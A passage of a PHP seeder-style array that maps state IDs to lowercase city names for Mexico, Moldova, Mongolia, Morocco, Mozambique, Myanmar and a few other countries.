'2456', 'name' => 'nanacamilpa'],\n ['state_id' => '2456', 'name' => 'nativitas'],\n ['state_id' => '2456', 'name' => 'nopalucan'],\n ['state_id' => '2456', 'name' => 'panotla'],\n ['state_id' => '2456', 'name' => 'papalotla'],\n ['state_id' => '2456', 'name' => 'quilehtla'],\n ['state_id' => '2456', 'name' => 'sanctorum'],\n ['state_id' => '2456', 'name' => 'teacalco'],\n ['state_id' => '2456', 'name' => 'tenancingo'],\n ['state_id' => '2456', 'name' => 'teolocholco'],\n ['state_id' => '2456', 'name' => 'tepetitla'],\n ['state_id' => '2456', 'name' => 'tepeyanco'],\n ['state_id' => '2456', 'name' => 'tequixquitla'],\n ['state_id' => '2456', 'name' => 'terrenate'],\n ['state_id' => '2456', 'name' => 'tetla'],\n ['state_id' => '2456', 'name' => 'tetlanohcan'],\n ['state_id' => '2456', 'name' => 'tetlatlahuca'],\n ['state_id' => '2456', 'name' => 'texcalac'],\n ['state_id' => '2456', 'name' => 'texoloc'],\n ['state_id' => '2456', 'name' => 'tlaltelulco'],\n ['state_id' => '2456', 'name' => 'tlaxcala'],\n ['state_id' => '2456', 'name' => 'tlaxco'],\n ['state_id' => '2456', 'name' => 'tocatlan'],\n ['state_id' => '2456', 'name' => 'totolac'],\n ['state_id' => '2456', 'name' => 'vicente guerrero'],\n ['state_id' => '2456', 'name' => 'villa alta'],\n ['state_id' => '2456', 'name' => 'xaloztoc'],\n ['state_id' => '2456', 'name' => 'xaltocan'],\n ['state_id' => '2456', 'name' => 'xicohtzinco'],\n ['state_id' => '2456', 'name' => 'xicotencatl'],\n ['state_id' => '2456', 'name' => 'xiloxoxtla'],\n ['state_id' => '2456', 'name' => 'yauhquemecan'],\n ['state_id' => '2456', 'name' => 'zacatelco'],\n ['state_id' => '2456', 'name' => 'zacualpan'],\n ['state_id' => '2456', 'name' => 'zitlaltepec'],\n ['state_id' => '2457', 'name' => 'acayucan'],\n ['state_id' => '2457', 'name' => 'actopan'],\n ['state_id' => '2457', 'name' => 'acultzingo'],\n ['state_id' => '2457', 'name' => 'agua dulce'],\n ['state_id' => '2457', 'name' => 'alamo'],\n ['state_id' => '2457', 'name' => 'allende'],\n ['state_id' => '2457', 'name' => 'altamirano'],\n ['state_id' => '2457', 'name' => 'alto lucero'],\n ['state_id' => '2457', 'name' => 'altotonga'],\n ['state_id' => '2457', 'name' => 'alvarado'],\n ['state_id' => '2457', 'name' => 'amatlan'],\n ['state_id' => '2457', 'name' => 'anahuac'],\n ['state_id' => '2457', 'name' => 'anton lizardo'],\n ['state_id' => '2457', 'name' => 'atzacan'],\n ['state_id' => '2457', 'name' => 'azueta'],\n ['state_id' => '2457', 'name' => 'banderilla'],\n ['state_id' => '2457', 'name' => 'benito juarez'],\n ['state_id' => '2457', 'name' => 'boca del monte'],\n ['state_id' => '2457', 'name' => 'boca del rio'],\n ['state_id' => '2457', 'name' => 'cabada'],\n ['state_id' => '2457', 'name' => 'cabezas'],\n ['state_id' => '2457', 'name' => 'carrillo'],\n ['state_id' => '2457', 'name' => 'castillo de teayo'],\n ['state_id' => '2457', 'name' => 'catemaco'],\n ['state_id' => '2457', 'name' => 'cazones'],\n ['state_id' => '2457', 'name' => 'cerro azul'],\n ['state_id' => '2457', 'name' => 'chacaltianguis'],\n ['state_id' => '2457', 'name' => 'chicontepec'],\n ['state_id' => '2457', 'name' => 'chinameca'],\n ['state_id' => '2457', 'name' => 'chinampa'],\n ['state_id' => '2457', 'name' => 'chocaman'],\n ['state_id' => '2457', 'name' => 'citlaltepetl'],\n ['state_id' => '2457', 'name' => 'clara'],\n ['state_id' => '2457', 'name' => 'coacoatzintla'],\n ['state_id' => '2457', 'name' => 'coacotla'],\n ['state_id' => '2457', 'name' => 'coatepec'],\n ['state_id' => '2457', 'name' => 'coatzacoalcos'],\n ['state_id' => '2457', 'name' => 'coatzintla'],\n ['state_id' => '2457', 'name' => 'comoapan'],\n ['state_id' => '2457', 'name' => 'cordoba'],\n ['state_id' => '2457', 'name' => 'corral nuevo'],\n ['state_id' => '2457', 'name' => 'cosamaloapan'],\n ['state_id' => '2457', 'name' => 'cosautlan'],\n ['state_id' => '2457', 'name' => 'coscomatepec'],\n ['state_id' => '2457', 'name' => 'cosoleacaque'],\n ['state_id' => '2457', 'name' => 'covarrubias'],\n ['state_id' => '2457', 'name' => 'coxquihui'],\n ['state_id' => '2457', 'name' => 'coyutla'],\n ['state_id' => '2457', 'name' => 'cuauhtemoc'],\n ['state_id' => '2457', 'name' => 'cuautlapan'],\n ['state_id' => '2457', 'name' => 'cuichapa'],\n ['state_id' => '2457', 'name' => 'cuitlahuac'],\n ['state_id' => '2457', 'name' => 'el castillo'],\n ['state_id' => '2457', 'name' => 'el higo'],\n ['state_id' => '2457', 'name' => 'el naranjito'],\n ['state_id' => '2457', 'name' => 'el pueblito'],\n ['state_id' => '2457', 'name' => 'el tejar'],\n ['state_id' => '2457', 'name' => 'emilio carranza'],\n ['state_id' => '2457', 'name' => 'estacion juanita'],\n ['state_id' => '2457', 'name' => 'estacion del idolo'],\n ['state_id' => '2457', 'name' => 'filomeno mata'],\n ['state_id' => '2457', 'name' => 'fortin'],\n ['state_id' => '2457', 'name' => 'gabino barreda'],\n ['state_id' => '2457', 'name' => 'guadalupe victoria'],\n ['state_id' => '2457', 'name' => 'gutierrez zamora'],\n ['state_id' => '2457', 'name' => 'hidalgo'],\n ['state_id' => '2457', 'name' => 'hidalgotitlan'],\n ['state_id' => '2457', 'name' => 'huatusco'],\n ['state_id' => '2457', 'name' => 'huayacoctla'],\n ['state_id' => '2457', 'name' => 'hueyapan'],\n ['state_id' => '2457', 'name' => 'huiloapan'],\n ['state_id' => '2457', 'name' => 'ignacio de la llave'],\n ['state_id' => '2457', 'name' => 'isla'],\n ['state_id' => '2457', 'name' => 'ixcatepec'],\n ['state_id' => '2457', 'name' => 'ixhuatlan del cafe'],\n ['state_id' => '2457', 'name' => 'ixhuatlan del sureste'],\n ['state_id' => '2457', 'name' => 'ixhuatlancillo'],\n ['state_id' => '2457', 'name' => 'ixtaczoquitlan'],\n ['state_id' => '2457', 'name' => 'jalacingo'],\n ['state_id' => '2457', 'name' => 'jalapilla'],\n ['state_id' => '2457', 'name' => 'jaltipan'],\n ['state_id' => '2457', 'name' => 'jamapa'],\n ['state_id' => '2457', 'name' => 'jesus carranza'],\n ['state_id' => '2457', 'name' => 'jilotepec'],\n ['state_id' => '2457', 'name' => 'la antigua'],\n ['state_id' => '2457', 'name' => 'la estanzuela'],\n ['state_id' => '2457', 'name' => 'la pena'],\n ['state_id' => '2457', 'name' => 'la perla'],\n ['state_id' => '2457', 'name' => 'la poza'],\n ['state_id' => '2457', 'name' => 'las amapolas'],\n ['state_id' => '2457', 'name' => 'las choapas'],\n ['state_id' => '2457', 'name' => 'las vigas'],\n ['state_id' => '2457', 'name' => 'lerdo'],\n ['state_id' => '2457', 'name' => 'lomas de barillas'],\n ['state_id' => '2457', 'name' => 'los altos'],\n ['state_id' => '2457', 'name' => 'los mangos'],\n ['state_id' => '2457', 'name' => 'maltrata'],\n ['state_id' => '2457', 'name' => 'mariano escobedo'],\n ['state_id' => '2457', 'name' => 'martinez'],\n ['state_id' => '2457', 'name' => 'mecatlan'],\n ['state_id' => '2457', 'name' => 'mecayapan'],\n ['state_id' => '2457', 'name' => 'mendoza'],\n ['state_id' => '2457', 'name' => 'minatitlan'],\n ['state_id' => '2457', 'name' => 'misantla'],\n ['state_id' => '2457', 'name' => 'monte blanco'],\n ['state_id' => '2457', 'name' => 'moralillo'],\n ['state_id' => '2457', 'name' => 'motzorongo'],\n ['state_id' => '2457', 'name' => 'mundo nuevo'],\n ['state_id' => '2457', 'name' => 'nanchital'],\n ['state_id' => '2457', 'name' => 'naolinco'],\n ['state_id' => '2457', 'name' => 'naranjos'],\n ['state_id' => '2457', 'name' => 'nautla'],\n ['state_id' => '2457', 'name' => 'nogales'],\n ['state_id' => '2457', 'name' => 'oluta'],\n ['state_id' => '2457', 'name' => 'omealca'],\n ['state_id' => '2457', 'name' => 'orizaba'],\n ['state_id' => '2457', 'name' => 'otatitlan'],\n ['state_id' => '2457', 'name' => 'oteapan'],\n ['state_id' => '2457', 'name' => 'ozuluama'],\n ['state_id' => '2457', 'name' => 'pajapan'],\n ['state_id' => '2457', 'name' => 'palmira'],\n ['state_id' => '2457', 'name' => 'panuco'],\n ['state_id' => '2457', 'name' => 'papantla'],\n ['state_id' => '2457', 'name' => 'paraje nuevo'],\n ['state_id' => '2457', 'name' => 'paso de ovejas'],\n ['state_id' => '2457', 'name' => 'paso del macho'],\n ['state_id' => '2457', 'name' => 'paso del toro'],\n ['state_id' => '2457', 'name' => 'penuela'],\n ['state_id' => '2457', 'name' => 'perote'],\n ['state_id' => '2457', 'name' => 'piedras negras'],\n ['state_id' => '2457', 'name' => 'plan de ayala'],\n ['state_id' => '2457', 'name' => 'platon sanchez'],\n ['state_id' => '2457', 'name' => 'playa vicente'],\n ['state_id' => '2457', 'name' => 'potrero nuevo'],\n ['state_id' => '2457', 'name' => 'potrero del llano'],\n ['state_id' => '2457', 'name' => 'poza rica'],\n ['state_id' => '2457', 'name' => 'puntilla aldama'],\n ['state_id' => '2457', 'name' => 'rafael delgado'],\n ['state_id' => '2457', 'name' => 'rafael lucio'],\n ['state_id' => '2457', 'name' => 'rinconada'],\n ['state_id' => '2457', 'name' => 'saltabarranca'],\n ['state_id' => '2457', 'name' => 'san juan evangelista'],\n ['state_id' => '2457', 'name' => 'san marcos'],\n ['state_id' => '2457', 'name' => 'san rafael'],\n ['state_id' => '2457', 'name' => 'san roman'],\n ['state_id' => '2457', 'name' => 'santiago tuxtla'],\n ['state_id' => '2457', 'name' => 'sayula'],\n ['state_id' => '2457', 'name' => 'soconusco'],\n ['state_id' => '2457', 'name' => 'soledad'],\n ['state_id' => '2457', 'name' => 'soteapan'],\n ['state_id' => '2457', 'name' => 'tamalin'],\n ['state_id' => '2457', 'name' => 'tamiahua'],\n ['state_id' => '2457', 'name' => 'tantoyuca'],\n ['state_id' => '2457', 'name' => 'tatahuicapan'],\n ['state_id' => '2457', 'name' => 'tecolutla'],\n ['state_id' => '2457', 'name' => 'tempoal'],\n ['state_id' => '2457', 'name' => 'tenango de rio blanco'],\n ['state_id' => '2457', 'name' => 'teocelo'],\n ['state_id' => '2457', 'name' => 'tepetzintla'],\n ['state_id' => '2457', 'name' => 'tequila'],\n ['state_id' => '2457', 'name' => 'tetelzingo'],\n ['state_id' => '2457', 'name' => 'texistepec'],\n ['state_id' => '2457', 'name' => 'tezonapa'],\n ['state_id' => '2457', 'name' => 'tierra blanca'],\n ['state_id' => '2457', 'name' => 'tihuatlan'],\n ['state_id' => '2457', 'name' => 'tlacojalpan'],\n ['state_id' => '2457', 'name' => 'tlacotalpan'],\n ['state_id' => '2457', 'name' => 'tlaltetela'],\n ['state_id' => '2457', 'name' => 'tlapacoyan'],\n ['state_id' => '2457', 'name' => 'tocuila'],\n ['state_id' => '2457', 'name' => 'tomatlan'],\n ['state_id' => '2457', 'name' => 'totolapa'],\n ['state_id' => '2457', 'name' => 'totula'],\n ['state_id' => '2457', 'name' => 'tres valles'],\n ['state_id' => '2457', 'name' => 'tuxpam'],\n ['state_id' => '2457', 'name' => 'tuxtla'],\n ['state_id' => '2457', 'name' => 'tuzamapan'],\n ['state_id' => '2457', 'name' => 'union y progreso'],\n ['state_id' => '2457', 'name' => 'ursulo galvan'],\n ['state_id' => '2457', 'name' => 'valente diaz'],\n ['state_id' => '2457', 'name' => 'vega de alatorre'],\n ['state_id' => '2457', 'name' => 'veracruz'],\n ['state_id' => '2457', 'name' => 'xalapa'],\n ['state_id' => '2457', 'name' => 'xico'],\n ['state_id' => '2457', 'name' => 'xocotla'],\n ['state_id' => '2457', 'name' => 'yanga'],\n ['state_id' => '2457', 'name' => 'yecuatla'],\n ['state_id' => '2457', 'name' => 'zaragoza'],\n ['state_id' => '2457', 'name' => 'zempoala'],\n ['state_id' => '2457', 'name' => 'zongolica'],\n ['state_id' => '2457', 'name' => 'zozocolco'],\n ['state_id' => '2458', 'name' => 'acanceh'],\n ['state_id' => '2458', 'name' => 'akil'],\n ['state_id' => '2458', 'name' => 'baca'],\n ['state_id' => '2458', 'name' => 'buctzotz'],\n ['state_id' => '2458', 'name' => 'cacalchen'],\n ['state_id' => '2458', 'name' => 'cansahcab'],\n ['state_id' => '2458', 'name' => 'caucel'],\n ['state_id' => '2458', 'name' => 'celestun'],\n ['state_id' => '2458', 'name' => 'cenotillo'],\n ['state_id' => '2458', 'name' => 'chemax'],\n ['state_id' => '2458', 'name' => 'chichimila'],\n ['state_id' => '2458', 'name' => 'chicxulub'],\n ['state_id' => '2458', 'name' => 'chochola'],\n ['state_id' => '2458', 'name' => 'cholul'],\n ['state_id' => '2458', 'name' => 'chumayel'],\n ['state_id' => '2458', 'name' => 'conkal'],\n ['state_id' => '2458', 'name' => 'cuzama'],\n ['state_id' => '2458', 'name' => 'dzan'],\n ['state_id' => '2458', 'name' => 'dzemul'],\n ['state_id' => '2458', 'name' => 'dzidzantun'],\n ['state_id' => '2458', 'name' => 'dzilam gonzalez'],\n ['state_id' => '2458', 'name' => 'dzitas'],\n ['state_id' => '2458', 'name' => 'espita'],\n ['state_id' => '2458', 'name' => 'halacho'],\n ['state_id' => '2458', 'name' => 'hocaba'],\n ['state_id' => '2458', 'name' => 'hoctun'],\n ['state_id' => '2458', 'name' => 'homun'],\n ['state_id' => '2458', 'name' => 'huhi'],\n ['state_id' => '2458', 'name' => 'hunucma'],\n ['state_id' => '2458', 'name' => 'itzincab'],\n ['state_id' => '2458', 'name' => 'ixil'],\n ['state_id' => '2458', 'name' => 'izamal'],\n ['state_id' => '2458', 'name' => 'kanasin'],\n ['state_id' => '2458', 'name' => 'kantunil'],\n ['state_id' => '2458', 'name' => 'kinchil'],\n ['state_id' => '2458', 'name' => 'mama'],\n ['state_id' => '2458', 'name' => 'mani'],\n ['state_id' => '2458', 'name' => 'maxcanu'],\n ['state_id' => '2458', 'name' => 'merida'],\n ['state_id' => '2458', 'name' => 'motul'],\n ['state_id' => '2458', 'name' => 'muna'],\n ['state_id' => '2458', 'name' => 'opichen'],\n ['state_id' => '2458', 'name' => 'oxkutzcab'],\n ['state_id' => '2458', 'name' => 'panaba'],\n ['state_id' => '2458', 'name' => 'peto'],\n ['state_id' => '2458', 'name' => 'piste'],\n ['state_id' => '2458', 'name' => 'progreso'],\n ['state_id' => '2458', 'name' => 'sacalum'],\n ['state_id' => '2458', 'name' => 'santa elena'],\n ['state_id' => '2458', 'name' => 'seye'],\n ['state_id' => '2458', 'name' => 'sotuta'],\n ['state_id' => '2458', 'name' => 'sucila'],\n ['state_id' => '2458', 'name' => 'tahmek'],\n ['state_id' => '2458', 'name' => 'teabo'],\n ['state_id' => '2458', 'name' => 'tecoh'],\n ['state_id' => '2458', 'name' => 'tekanto'],\n ['state_id' => '2458', 'name' => 'tekax'],\n ['state_id' => '2458', 'name' => 'tekit'],\n ['state_id' => '2458', 'name' => 'telchac'],\n ['state_id' => '2458', 'name' => 'temax'],\n ['state_id' => '2458', 'name' => 'temozon'],\n ['state_id' => '2458', 'name' => 'tetiz'],\n ['state_id' => '2458', 'name' => 'ticul'],\n ['state_id' => '2458', 'name' => 'timucuy'],\n ['state_id' => '2458', 'name' => 'tixkokob'],\n ['state_id' => '2458', 'name' => 'tixpehual'],\n ['state_id' => '2458', 'name' => 'tizimin'],\n ['state_id' => '2458', 'name' => 'tunkas'],\n ['state_id' => '2458', 'name' => 'tzucacab'],\n ['state_id' => '2458', 'name' => 'uman'],\n ['state_id' => '2458', 'name' => 'valladolid'],\n ['state_id' => '2458', 'name' => 'x-can'],\n ['state_id' => '2458', 'name' => 'yucatan'],\n ['state_id' => '2459', 'name' => 'apozol'],\n ['state_id' => '2459', 'name' => 'banon'],\n ['state_id' => '2459', 'name' => 'canitas'],\n ['state_id' => '2459', 'name' => 'chalchihuites'],\n ['state_id' => '2459', 'name' => 'concepcion del oro'],\n ['state_id' => '2459', 'name' => 'cos'],\n ['state_id' => '2459', 'name' => 'estrada'],\n ['state_id' => '2459', 'name' => 'fresnillo'],\n ['state_id' => '2459', 'name' => 'garcia'],\n ['state_id' => '2459', 'name' => 'gonzalez ortega'],\n ['state_id' => '2459', 'name' => 'guadalupe'],\n ['state_id' => '2459', 'name' => 'hidalgo'],\n ['state_id' => '2459', 'name' => 'jalpa'],\n ['state_id' => '2459', 'name' => 'jerez'],\n ['state_id' => '2459', 'name' => 'juan aldama'],\n ['state_id' => '2459', 'name' => 'juchipila'],\n ['state_id' => '2459', 'name' => 'loreto'],\n ['state_id' => '2459', 'name' => 'lourdes'],\n ['state_id' => '2459', 'name' => 'luis moya'],\n ['state_id' => '2459', 'name' => 'miguel auza'],\n ['state_id' => '2459', 'name' => 'monte escobedo'],\n ['state_id' => '2459', 'name' => 'morelos'],\n ['state_id' => '2459', 'name' => 'natera'],\n ['state_id' => '2459', 'name' => 'nieves'],\n ['state_id' => '2459', 'name' => 'nochistlan'],\n ['state_id' => '2459', 'name' => 'ojo caliente'],\n ['state_id' => '2459', 'name' => 'piedra gorda'],\n ['state_id' => '2459', 'name' => 'pinos'],\n ['state_id' => '2459', 'name' => 'plateros'],\n ['state_id' => '2459', 'name' => 'pozo de gamboa'],\n ['state_id' => '2459', 'name' => 'rio grande'],\n ['state_id' => '2459', 'name' => 'sain alto'],\n ['state_id' => '2459', 'name' => 'sombrerete'],\n ['state_id' => '2459', 'name' => 'tabasco'],\n ['state_id' => '2459', 'name' => 'tacoaleche'],\n ['state_id' => '2459', 'name' => 'tepechitlan'],\n ['state_id' => '2459', 'name' => 'teul'],\n ['state_id' => '2459', 'name' => 'tlaltenango'],\n ['state_id' => '2459', 'name' => 'toribio'],\n ['state_id' => '2459', 'name' => 'trancoso'],\n ['state_id' => '2459', 'name' => 'valparaiso'],\n ['state_id' => '2459', 'name' => 'victor rosales'],\n ['state_id' => '2459', 'name' => 'villa gonzalez ortega'],\n ['state_id' => '2459', 'name' => 'villanueva'],\n ['state_id' => '2459', 'name' => 'zacatecas'],\n ['state_id' => '2460', 'name' => 'tol'],\n ['state_id' => '2460', 'name' => 'weno'],\n ['state_id' => '2461', 'name' => 'lelu'],\n ['state_id' => '2462', 'name' => 'kolonia'],\n ['state_id' => '2462', 'name' => 'palikir'],\n ['state_id' => '2463', 'name' => 'colonia'],\n ['state_id' => '2464', 'name' => 'balti'],\n ['state_id' => '2464', 'name' => 'falesti'],\n ['state_id' => '2464', 'name' => 'glodeni'],\n ['state_id' => '2464', 'name' => 'rascani'],\n ['state_id' => '2465', 'name' => 'cahul'],\n ['state_id' => '2466', 'name' => 'straseni'],\n ['state_id' => '2467', 'name' => 'straseni'],\n ['state_id' => '2468', 'name' => 'briceni'],\n ['state_id' => '2468', 'name' => 'donduseni'],\n ['state_id' => '2468', 'name' => 'edinet'],\n ['state_id' => '2468', 'name' => 'ocnita'],\n ['state_id' => '2469', 'name' => 'ciadar lunga'],\n ['state_id' => '2469', 'name' => 'comrat'],\n ['state_id' => '2469', 'name' => 'vulcanesti'],\n ['state_id' => '2470', 'name' => 'basarabeasca'],\n ['state_id' => '2470', 'name' => 'cimislia'],\n ['state_id' => '2470', 'name' => 'hancesti'],\n ['state_id' => '2470', 'name' => 'leova'],\n ['state_id' => '2471', 'name' => 'orhei'],\n ['state_id' => '2471', 'name' => 'rezina'],\n ['state_id' => '2471', 'name' => 'telenesti'],\n ['state_id' => '2472', 'name' => 'drochia'],\n ['state_id' => '2472', 'name' => 'floresti'],\n ['state_id' => '2472', 'name' => 'soroca'],\n ['state_id' => '2473', 'name' => 'taraclia'],\n ['state_id' => '2474', 'name' => 'causani'],\n ['state_id' => '2475', 'name' => 'camenca'],\n ['state_id' => '2475', 'name' => 'dnestrovsc'],\n ['state_id' => '2475', 'name' => 'dubasari'],\n ['state_id' => '2475', 'name' => 'griguriopol'],\n ['state_id' => '2475', 'name' => 'rabnita'],\n ['state_id' => '2475', 'name' => 'slobozia'],\n ['state_id' => '2475', 'name' => 'tighina'],\n ['state_id' => '2475', 'name' => 'tiraspol\\''],\n ['state_id' => '2476', 'name' => 'calarasi'],\n ['state_id' => '2476', 'name' => 'nisporeni'],\n ['state_id' => '2476', 'name' => 'ungheni'],\n ['state_id' => '2477', 'name' => 'fontvieille'],\n ['state_id' => '2479', 'name' => 'monaco-ville'],\n ['state_id' => '2481', 'name' => 'cecerleg'],\n ['state_id' => '2482', 'name' => 'olgij'],\n ['state_id' => '2483', 'name' => 'bajanhongor'],\n ['state_id' => '2484', 'name' => 'bulgan'],\n ['state_id' => '2485', 'name' => 'darhan'],\n ['state_id' => '2486', 'name' => 'chojbalsan'],\n ['state_id' => '2487', 'name' => 'sajnshand'],\n ['state_id' => '2488', 'name' => 'mandalgovi'],\n ['state_id' => '2489', 'name' => 'altaj'],\n ['state_id' => '2490', 'name' => 'chojr'],\n ['state_id' => '2491', 'name' => 'ondorhaan'],\n ['state_id' => '2492', 'name' => 'hovd'],\n ['state_id' => '2493', 'name' => 'moron'],\n ['state_id' => '2494', 'name' => 'dalanzadgad'],\n ['state_id' => '2495', 'name' => 'erdenet'],\n ['state_id' => '2496', 'name' => 'arvajheer'],\n ['state_id' => '2497', 'name' => 'suhbaatar'],\n ['state_id' => '2497', 'name' => 'zuunharaa'],\n ['state_id' => '2498', 'name' => 'baruun-urt'],\n ['state_id' => '2499', 'name' => 'nalajh'],\n ['state_id' => '2499', 'name' => 'zuunmod'],\n ['state_id' => '2500', 'name' => 'ulaanbaatar'],\n ['state_id' => '2501', 'name' => 'ulaangom'],\n ['state_id' => '2502', 'name' => 'tosoncengel'],\n ['state_id' => '2502', 'name' => 'uliastaj'],\n ['state_id' => '2503', 'name' => 'montserrat'],\n ['state_id' => '2504', 'name' => 'agadir'],\n ['state_id' => '2505', 'name' => 'mohammedia'],\n ['state_id' => '2505', 'name' => 'ad-dar-al-bayda'],\n ['state_id' => '2506', 'name' => 'bin sulayman'],\n ['state_id' => '2506', 'name' => 'bir rashid'],\n ['state_id' => '2506', 'name' => 'bu-al-jad'],\n ['state_id' => '2506', 'name' => 'buznika'],\n ['state_id' => '2506', 'name' => 'khuribghah'],\n ['state_id' => '2506', 'name' => 'sattat'],\n ['state_id' => '2506', 'name' => 'wad zam'],\n ['state_id' => '2507', 'name' => 'asfi'],\n ['state_id' => '2507', 'name' => 'azimur'],\n ['state_id' => '2507', 'name' => 'sidi binnur'],\n ['state_id' => '2507', 'name' => 'sidi isma\\'il'],\n ['state_id' => '2507', 'name' => 'yussufiyah'],\n ['state_id' => '2507', 'name' => 'al-jadidah'],\n ['state_id' => '2508', 'name' => 'fas'],\n ['state_id' => '2508', 'name' => 'fes'],\n ['state_id' => '2508', 'name' => 'safru'],\n ['state_id' => '2510', 'name' => 'ghulimim'],\n ['state_id' => '2510', 'name' => 'sidi ifni'],\n ['state_id' => '2510', 'name' => 'tafraut'],\n ['state_id' => '2510', 'name' => 'tantan'],\n ['state_id' => '2511', 'name' => 'kenitra'],\n ['state_id' => '2513', 'name' => 'amalu ighriban'],\n ['state_id' => '2513', 'name' => 'azru'],\n ['state_id' => '2513', 'name' => 'jama\\'at-al-marirt'],\n ['state_id' => '2513', 'name' => 'khanifrah'],\n ['state_id' => '2513', 'name' => 'meknes'],\n ['state_id' => '2513', 'name' => 'midalt'],\n ['state_id' => '2513', 'name' => 'miknas'],\n ['state_id' => '2513', 'name' => 'mulay idris'],\n ['state_id' => '2513', 'name' => 'al-hajab'],\n ['state_id' => '2513', 'name' => 'ar-rasidiyah'],\n ['state_id' => '2514', 'name' => 'ahfir'],\n ['state_id' => '2514', 'name' => 'bin ansar'],\n ['state_id' => '2514', 'name' => 'birkan'],\n ['state_id' => '2514', 'name' => 'fijij'],\n ['state_id' => '2514', 'name' => 'jaradah'],\n ['state_id' => '2514', 'name' => 'tawrirt'],\n ['state_id' => '2514', 'name' => 'ujdah'],\n ['state_id' => '2514', 'name' => 'zayu'],\n ['state_id' => '2514', 'name' => 'al-arwi'],\n ['state_id' => '2514', 'name' => 'al-ayun sidi malluk'],\n ['state_id' => '2514', 'name' => 'an-nadur'],\n ['state_id' => '2515', 'name' => 'oujda'],\n ['state_id' => '2517', 'name' => 'khamissat'],\n ['state_id' => '2517', 'name' => 'sakhirat'],\n ['state_id' => '2517', 'name' => 'tiflat'],\n ['state_id' => '2517', 'name' => 'ar-ribat'],\n ['state_id' => '2519', 'name' => 'settat'],\n ['state_id' => '2521', 'name' => 'bani mallal'],\n ['state_id' => '2521', 'name' => 'beni mellal'],\n ['state_id' => '2521', 'name' => 'qasbat tadlah'],\n ['state_id' => '2521', 'name' => 'suq sabt awlat nama'],\n ['state_id' => '2521', 'name' => 'al-faqih bin salah'],\n ['state_id' => '2522', 'name' => 'asilah'],\n ['state_id' => '2522', 'name' => 'finidiq'],\n ['state_id' => '2522', 'name' => 'martil'],\n ['state_id' => '2522', 'name' => 'midiq'],\n ['state_id' => '2522', 'name' => 'shifshawn'],\n ['state_id' => '2522', 'name' => 'tangier'],\n ['state_id' => '2522', 'name' => 'tanjah'],\n ['state_id' => '2522', 'name' => 'tittawin'],\n ['state_id' => '2522', 'name' => 'titwan'],\n ['state_id' => '2522', 'name' => 'al-\\'ara\\'ish'],\n ['state_id' => '2522', 'name' => 'al-qasr-al-kabir'],\n ['state_id' => '2527', 'name' => 'chibuto'],\n ['state_id' => '2527', 'name' => 'chidenguele'],\n ['state_id' => '2527', 'name' => 'chokwe'],\n ['state_id' => '2527', 'name' => 'chongoene'],\n ['state_id' => '2527', 'name' => 'guija'],\n ['state_id' => '2527', 'name' => 'macia'],\n ['state_id' => '2527', 'name' => 'manjacaze'],\n ['state_id' => '2527', 'name' => 'xai-xai'],\n ['state_id' => '2528', 'name' => 'homoine'],\n ['state_id' => '2528', 'name' => 'inhambane'],\n ['state_id' => '2528', 'name' => 'inharrime'],\n ['state_id' => '2528', 'name' => 'jangamo'],\n ['state_id' => '2528', 'name' => 'maxixe'],\n ['state_id' => '2528', 'name' => 'panda'],\n ['state_id' => '2528', 'name' => 'quissico'],\n ['state_id' => '2529', 'name' => 'chimoio'],\n ['state_id' => '2529', 'name' => 'manica'],\n ['state_id' => '2530', 'name' => 'maputo'],\n ['state_id' => '2531', 'name' => 'maputo'],\n ['state_id' => '2532', 'name' => 'angoche'],\n ['state_id' => '2532', 'name' => 'lumbo'],\n ['state_id' => '2532', 'name' => 'mocambique'],\n ['state_id' => '2532', 'name' => 'nacala'],\n ['state_id' => '2532', 'name' => 'nampula'],\n ['state_id' => '2533', 'name' => 'cuamba'],\n ['state_id' => '2533', 'name' => 'lichinga'],\n ['state_id' => '2533', 'name' => 'mandimba'],\n ['state_id' => '2533', 'name' => 'maniamba'],\n ['state_id' => '2533', 'name' => 'marrupa'],\n ['state_id' => '2534', 'name' => 'beira'],\n ['state_id' => '2534', 'name' => 'dondo'],\n ['state_id' => '2535', 'name' => 'tete'],\n ['state_id' => '2535', 'name' => 'zumbo'],\n ['state_id' => '2536', 'name' => 'garue'],\n ['state_id' => '2536', 'name' => 'mocuba'],\n ['state_id' => '2536', 'name' => 'quelimane'],\n ['state_id' => '2537', 'name' => 'bogale'],\n ['state_id' => '2537', 'name' => 'henzada'],\n ['state_id' => '2537', 'name' => 'kyaiklat'],\n ['state_id' => '2537', 'name' => 'labutta'],\n ['state_id' => '2537', 'name' => 'maubin'],\n ['state_id' => '2537', 'name' => 'moulmeingyun'],\n ['state_id' => '2537', 'name' => 'myanaung'],\n ['state_id' => '2537', 'name' => 'pathein'],\n ['state_id' => '2537', 'name' => 'pyapon'],\n ['state_id' => '2537', 'name' => 'wakema'],\n ['state_id' => '2537', 'name' => 'yandoon'],\n ['state_id' => '2537', 'name' => 'ye'],\n ['state_id' => '2538', 'name' => 'bago'],\n ['state_id' => '2538', 'name' => 'letpadan'],\n ['state_id' => '2538', 'name' => 'nyaunglebin'],\n ['state_id' => '2538', 'name' => 'paungde'],\n ['state_id' => '2538', 'name' => 'pyay'],\n ['state_id' => '2538', 'name' => 'pyu'],\n ['state_id' => '2538', 'name' => 'thanatpin'],\n ['state_id' => '2538', 'name' => 'tharrawaddy'],\n ['state_id' => '2538', 'name' => 'toungoo'],\n ['state_id' => '2539', 'name' => 'falam'],\n ['state_id' => '2540', 'name' => 'banmo'],\n ['state_id' => '2540', 'name' => 'myitkyina'],\n ['state_id' => '2541', 'name' => 'loikaw'],\n ['state_id' => '2542', 'name' => 'hpa-an'],\n ['state_id' => '2543', 'name' => 'allanmyo'],\n ['state_id' => '2543', 'name' => 'chauk'],\n ['state_id' => '2543', 'name' => 'magway'],\n ['state_id' => '2543', 'name' => 'minbu'],\n ['state_id' => '2543', 'name' => 'pakokku'],\n ['state_id' => '2543', 'name' => 'taungdwingyi'],\n ['state_id' => '2543', 'name' => 'thayetmyo'],\n ['state_id' => '2543', 'name' => 'yenangyaung'],\n ['state_id' => '2544', 'name' => 'kyaukse'],\n ['state_id' => '2544', 'name' => 'mandalay'],\n ['state_id' => '2544', 'name' => 'maymyo'],\n ['state_id' => '2544', 'name' => 'meiktila'],\n ['state_id' => '2544', 'name' => 'mogok'],\n ['state_id' => '2544', 'name' => 'myingyan'],\n ['state_id' => '2544', 'name' => 'pyinmana'],\n ['state_id' => '2544', 'name' => 'yamethin'],\n ['state_id' => '2545', 'name' => 'kyaikkami'],\n ['state_id' => '2545', 'name' => 'kyaikto'],\n ['state_id' => '2545', 'name' => 'martaban'],\n ['state_id' => '2545', 'name' => 'mawlamyine'],\n ['state_id' => '2545', 'name' => 'mudon'],\n ['state_id' => '2545', 'name' => 'thaton'],\n ['state_id' 